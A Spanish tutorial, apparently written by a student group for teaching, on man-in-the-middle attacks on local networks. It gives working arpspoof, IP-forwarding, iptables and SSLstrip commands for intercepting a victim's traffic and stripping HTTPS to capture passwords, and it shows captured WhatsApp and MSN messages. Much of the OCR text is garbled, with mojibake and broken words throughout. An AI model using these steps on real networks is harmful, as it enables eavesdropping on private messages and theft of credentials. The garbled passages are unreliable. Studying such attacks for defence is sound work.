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Notal: No nos hacemos responsables de los dafios que pueda ocasionar este documento, simplemente
pretendemos que sea algo constructivo y educativo.

Nota2: Las imagenes tomadas en esta guia han sido recogidas practicando los ataques entre los dos component:
del grupo, no se ha perjudicado a ningun tercero.
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lleva a cabo tanto en redes LAN como WLAN.

Pongamos un simple ejemplo para poner de manifiesto en qusistereste ataque:

Supongamos que tenemos 3 hosts dentro de una red, host A, host B, y host C. El host A quiere intercambiar
informacion con el host Beste host puede o0 no estar en la misma rgara ello, los paquetes deben enviarse a
través del routeique Ics dirige hacia @ ! K2N} = &aA St Kz2ad / GASyS AyidSyo.
B, solo tiene que adoptar un papel de puente entre Ay el router.

Al ser un ataque pasivo, la victima no detectaria nada raro, de ahi la dificultadeiefrente a un ataque de este
tipo, como veremos algun apartado mas adelante.

En definitiva, este ataque nos permite monitorizar el trafico que deseemos de una red, tanto de un host hacia el
router, como del router hacia un host.
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A continuacion vam®a proporcionar algunos conceptos clave necesarios para comprender y asimilar mejor este
documento, algunos de ellos probablemente los conoceras, panca vienen mal.

Protocolos:

No vamos a entrar en detalle en la explicacion de los protocolos ya qaddsia de nuestro tema, si quieres mas
informacion ojea algun libro sobre redes.

TCP:Este protocolo esta orientado a la conexién, permite la multiplexacion mediante puertos

(mapeo de puertos), mas adelante veremos cdmo se capturan paquetes TCP eudictimb

O2y SOl O2y Ft3gy &aSNIBAR2NY® ¢l YOASY Sa St SyOl
(paquetes) para su envio a través del protocolo IP como partes independientes (muy til cuando se
producen fallos en envios al reenviar sélo el pagugie ha fallado).

IP: Es utilizado por los protocolos de conexién (TCP) para el envio y enrutamiento de los paquetes

9 € LINPG202f2 ¢/ tklLt S&a St j dzS KIF OS LIRaAroftsS St wSy i
cada una con un hardwarsdftware diferentes, hablan el mismo idioma, TCP/IP.

DNS: Este protocolo se encarga de resolver nombres de dominio en direcciones IP, es de gran ayuda
ya que es mucho mas facil recordar el nombre de dominio de unaguelsu direccién IP.

ARP: Bbprotocolo ARP es de fundamental entendimiento en este trabajo, ya que si no sabemos cémo
funciona no entenderemos este documento. En una red con varios hosts conectados, cada uno con
una direccion IP y una direccion fisica (MAC), el protocolo ARP seadedrgducir la IP de un

ordenador a su direccion MAC, asi, a la hora del envio de paquetes, un host comprueba qué direcciéon
MAC tiene la IP a la que quiere enviarle la informacion.

ICMP: Es el protocolo encargado de hacer labores de control y erutilizedo, por ejemplo, para
comprobar quedzy’ LJF lj dz§GS ffS3aF | &ddz RSalAy2d , ésduhog R2 K
enviandopaquetes de este tipo.

Sniffer: Software disefiado para monitorizar la actividad de una red de computa@otesitilizamos
de forma ilicita, podemos capturar informacion de tipo personal (confidencial), y esta estipulado
como delito(Articulo 1.4 de la Ley Organica 15/1999 de proteccién de datos de caracter personal).

Modo promiscuade una interface de reddquel en el que ungarjeta de redcaptura todo el trafico
que circula por una red.

Arp-spoofing: Ataque que modifica la tabla arp de un host para hacer que resuelva una IP a una MAC
que no es la que le corresponde, el Agoofing es lo que hace posiblee Wal y Ay (GKS YA
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A continuacion vamos a hacer alguna demostracion de este ataque sobre plataformagkplicaremos el
software necesarig¢ unos sencillos pasos para llevarlo a cabo.

SOF TWARE

El software necesario es el siguiente:

- Wireshark (antiguo Ethereal) : Sniffer

- Paquete Dsniff: coleccion de mamientas para auditoria y test de penetracion de redes.
- Arpspoof:Aplicacién del pagete Dsniff para hacer asgpoding

- SSLstrip: Aplicacion que permite capturantrasefiagn paginas https.

- Librerias WinPCap (para Windows) y Libcap (para Linux): &sbnedesarias para la monitorizacién
de redes.

EXPLICACION

Bien, vamos a describir como empezar a monitorizénaéito de una readton Wireshark:

- t NAYSNR RS G2R23 GSySy2a |1jdzS SR leietinddciénbr elltréfitdK A O
gue pasa por nuestra maquina hacia su destino, si no lo hacemos, propiciaremos una denegacion de
servicio (DOS) al equipo victima.

0 sudo nano /proc/sys/net/ipv4/ip_forward Cambiamos el O por 1
- Despuésabrimos el sniffecon una determinada interface de red y con privilegios de root:
0 sudowiresharkgi [interfacd -i A Selecciona interfaz
- A continuacion, abrimos dos consolas y ejecutamos estos comandos (uno en cada consola):
0 sudo arpspooti [interface]ct [ip_objetivo] [ip_router] -t A target(objetivo)
0 sudo arpspooti [interface]ct [ip_router] [ip_objetivo]

Ya estariamos falseando la tabla AlRFa victimadada la manera en la que esta hecho este ejemplo,
capturariamos todo el trafico que va desde la maquina victima hacia el router.

Para ver las direcciones IP que estan conectadas a nuestra red, podemos entrar a nuestro router desde el
navegador:

Counpeted Clents _-_-__

[ ——— 11g  192.165.0.16 M i i S S
- e ( "-}g 11g 192.168.0.19 W =
- aas wer ( 0 11g  192.168.0.26 Wy
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Ahora, en la ventana de Wireshark, vemos que en la barra de herramientas hay 3 botones:

% - = Capturing from wlan1 [Wireshark 1.6.2]
File Edit View Go Capture Analyze Statistics

Sy q =

El verde es para especificar las opciones de captura de paquetes, el rojo para empezar una nueva captura, y el
azul, para finalizarla, al pulsar este ultimo, nos da @dpde guardar lo que hemos capturado en un archivo
para su posterior analisis.

Para mas informacién consulta un manual sobre esta aplicacién.

Veamos ahora algunos ejemplos con este sniffer.

ATAQUES DE EJENMPLO

Se vara exponer ejemplos de las diferentes informaciones que hemos consegprideste ataque

DISPOSITIVOS MIOVILES (WHATSAPP)

En aplicaciones méviles como WhatsApp es relativamente facil capturar los mensajes enviados/recibidos:

Aplicaciones Lugares | G /ﬁ O m 2 dom 15 de ene, 19:57 ) == @ Darkvid
& - = Capturing from wlan1 [Wireshark 1.6.2]
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

o & E Q¢ IT74LEBEB sl EEEX @

Filter: Expression...

No. Time Source Destination Protocol Length Info
40 10.599325 192.1t - TEP; 66 58829 > xmpp-client [ACK] Seq=65 Ack=63 Win=864 Len=0 TSval=2791479 TSecr=2311886664
42 11.712946 * ARP 42 s - B

43 11.894327 Jabber/XI 67 Requesl. \oou

46 11.995071
47 12.071560

ARP
Jabber/X

42 192.168.0.1 is at & = o un e
126 Request: ;X\bIXNK\v34658536116\212[\033L}

" Paquete WhatsAp

49 12.203305 TCP 66 58829 > xmpp-client [ACK] Seq=126 Ack=132 Win=864 Len=0 TSval=2791639 TSecr=2311888281

51 13.713226 - 42 192.168.0.19 is » = »
52 13.995314 . ARP 42 192.168.0.1 is at § : - -
53 15.713521 _ ) ARP 42 192.168.0.19 is at = Envenenamlento

54 15.995465 = - » ARP 42 192.168.0.1 is at ™

> Transmission Control Protocol, Src Port: 58829 (58829), Dst Port: xmpp-client (5222), Seq: 66, Ack: 63, Len: 60
v Jabber XML Messaging
v eXtensible Markup Language
;[{\b] MRK\v34658536116\212[]\033C[{]\ r1326540548- 911\ 002\ 004RKOK\001[\001\214[]\002\026[\085U0000

0020 db 9c e5 cd 14 66 95 67 el 21 e 2b f1 93 80 18
0030
0040
0050 EEJEL
0060
0070

——— o re—re—— o ——

Info del paquete, mensaje: “uoooo”

@ unknown (xml.unknown), 60 bytes Packets: 96 Displayed: 96 Marked: 0 Profile: Default
& darkvid@SR: ~ @ darkvid@SR: ~ @ [darkvid@SR: ~] 'l Capturing fromwlan1...| € Residential GatewayC... [l Ventana sin titulo 1
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Igual que el anterioda informacién enviada a través de msn, tamlsgérpuede capturar facilmente

Aplicaciones Lugares € 7 O & s mar 10 de ene, 20:11 o) = Darkvid
® - = Capturing from wlan1 (host 192.168.0.19) [Wireshark 1.6.2]
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

B elel =2 Q IT4L4 8B sl ETEEX @
Filter: Expression...
No. Time Sowrce Destination Protocol Length Info

1 0.000000 IR 54 49613 > msnp [ACK] Seg=1 Ack=1 Win=68 Len=0

3 0.199653 Q2 - - - - e - -
4 0.441870
5 0.489739

42 - R - B M v - R _E - -
54 49613 > msnp [ACK] Seq=1 Ack=312 Win=67 Len=0

7 1.571872 * MSNMS 281 SDG 88 215

9 2.199914 L I l !l 'l lll ! 42 192.168.0.1 i+ l

10 2.442133 _ - T— - . ARP 42 192.168.0.19 1s &t & Ea—qu'efe MSN- - W e e .

11 2.863256 = - - - TCP 54 49613 > msnp [ACK] Seq=228 Ack=718 Win=65 Len=0
13 3.228102 - . TCP 54 49613 > msnp [ACK] Seq=228 Ack=1029 Win=64 Len=0
15 4.200179 e - - e ARP 42 192.168.0.1 is at = - -

16 4.442365 s ve-» ———— - . ARP 42 192.168.0.19 is at « - e e e o - -

> Frame 1: 54 bytes on wire (432 bits), 54 bytes captured (432 bits)

> Ethernet II, Src: AskeyCom S JNlF SRS RS, Dst: ARER S -

» Internet Protocol Version 4, Src: = @& & & & W & o, Dst: & --e -

» Transmission Control Protocol, Src Port: 49613 (49613), Dst Port: msnp (1863), Seq: 1, Ack: 1, Len: ©

0000 00 cO ca 4f 44 3b 00 26 b6 5c 29 df 08 00 45 00 sro-o DD Qs XY ssBe

0010 00 28 21 6b 40 60 80 066 90 18 cO a8 00 13 41 37 S1K@ics sssees A7 h

0020 47 5a cl cd 7 47 bb c4 3a b9 04 67 09 44 56 10 GZ...G.. :..g.DP.

0030 00 44 99 06 60 00 & 1

© wlan1: <live capturein progress>... - Packets: 40 Displayed: 40 Marked: 0 Profile: Default
& [darkvid@darkvid-HP-... Slal'e ¢ . © Residential GatewayC... | @ darkvid@darkvid-HP-... | (@ darkvid@darkvid-HP-... ]

Veamos lo que contenia el mensaje:

e e wme wmey — - v e mm e e e e e e wmy —— s o w
@-c° » E— . - W MSNMS 384 [TCP Retransmission] SDG 55 318

> Frame 61: 384 bytes on wire (3072 bits), 384 bytes captured (3072 bits)

> Ethernet II, Src: s 45 40 3 0 0 o0 &5 85 ), Dst: T = T B

> Internet Protocol Version 4, Src: = ¢ = = o ™, Dst: @ - - i

> Transmission Control Protocol, Src Port: 49613 (49613), Dst Port: msnp (1863), Seq: 1137, Ack: 1, Len: 330
> MSN Messenger Service

3a 6a 66 36 39
63 6f 6d 3b 65
31 36 2d 66 39
64 2d 36 65 38
0a ed @a 52 65
31 2e 30 od 0a
3a 20 32 2e 30
79 70 65 3a 20
6e 74 2d 4c 65
6f 6e 74 65 6e
74 2f 70 6¢c 61
3d 55 54 46 2d

t-Type:
ext/pla in; cha
set=UTF- 8. .X-MMS|
2d 46 6f 72 6d -IM-Form at: FN=5
65 25 32 30 55 6 legoe%20U I: EF=;
30 3b 20 43 53 g Pr=;'

od 6a 63 6f 6d ....com o se dio|
‘ eso el jueves??

Mensaje paquete
MSN

6f 20 65 6¢ 20
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Para este ejemplo, vamos ahacsoRS I | LJX AOIF OAsy | YOIOSNA2NXYSYy:GS YSyC
(secure socket layer) esilizado actualmente por muchas webs para enviar datos de una forma segura.

El funcionamiento dSSLStriga A A YLIX S NBSYLX I T+ ( 2uRapagindvébior LISG A OA 2
G KOG LYYk k ¢ urBMITiMda$ra @ seRitloDysel cliente. La idea es que la victimatgantese

comuniguen a través de HTTP, mientras quatatante y el servidor, se comunican a través de HTTPS con el
certificado del servidor. Por lo tanto, el atacante es capaz de ver todo el trafico en texto plano de la victima.

Demostracion:

- Empezamos abriendo una consola y escribimos lo siguiente:
0 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

Con esta linea lo que hacemos es redireccionar el puerto 80 al 10000

- Ahora abrimos SSLstrip y le decimos que guarde las capturas en un fichero:
0 sslstripqw capturastxt

Estosson los resultados:

FACEBOOK
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http://www.dragonjar.org/tag/sslstrip
http://anonym-url.com/go.php?to=http://www.designjart.com/

